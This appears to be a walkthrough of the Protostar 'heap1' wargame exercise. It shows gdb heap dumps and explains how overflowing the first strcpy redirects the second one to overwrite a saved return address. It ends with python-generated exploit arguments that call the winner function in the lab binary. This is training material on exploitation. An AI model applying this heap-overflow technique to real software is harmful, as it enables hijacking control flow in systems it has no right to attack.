The heap1 exercise contains 2 strcpy call. Let us examine the allocated memory first. Set a breakpoint at 0x08048520.
header of i1 malloc: 0x0804a000: 0x00000000 0x00000011 i1->priotity: 0x0804a008: 0x00000001 address of i1->name: 0x0804a00c: 0x0804a018 header of i1->name malloc: 0x0804a010: 0x00000000 0x00000011 allocated space of the i1->name malloc: 0x0804a018: 0x00000000 0x00000000 header of i2 malloc: 0x0804a020: 0x00000000 0x00000011 i2->priotity: 0x0804a028: 0x00000002 address of i2->name: 0x0804a02c: 0x0804a038 header of i2->name malloc: 0x0804a030: 0x00000000 0x00000011 allocated space of the i2->name malloc: 0x0804a038: 0x00000000 0x00000000
The idea is the following: First we overwrite the address of the i2->name with the first strcpy. We set the i2->name address to the address of the RET address on the stack. i2->name is the destination address of the second strcpy. Then we can overwrite the RET address on the stack. We overwrite it to the address of the winner function.
The bytes between the i1->name and the address of i2->name:
- allocated space of the i1->name malloc (8 bytes)
- header of i2 malloc (8 bytes)
- i2->priotity (4 bytes)
The address of the winner function is 0x08048494. In order to get the address of the RET address on the stack, we have to construct the passed arguments, since the passed arguments are pushed onto the stack when we start the application.
The first argument: 20 bytes + a fake address, 4 bytes
The second argument: the address of the winner function
Let us set a breakpoint at the first instruction and start the application.
(gdb) b *0x080484b9
(gdb) r `python -c ‘print “A”*20 + “\x41\x41\x41\x41″‘` `python -c ‘print “\x94\x84\x04\x08″‘`
(gdb) info registers
The stack pointer is 0xbffffc5c. The RET address is below this address. I tried several addresses and finally I found one which worked.
/opt/protostar/bin/heap1 `python -c ‘print “A”*20 + “\x6c\xfc\xff\xbf”‘` `python -c ‘print “\x94\x84\x04\x08″‘`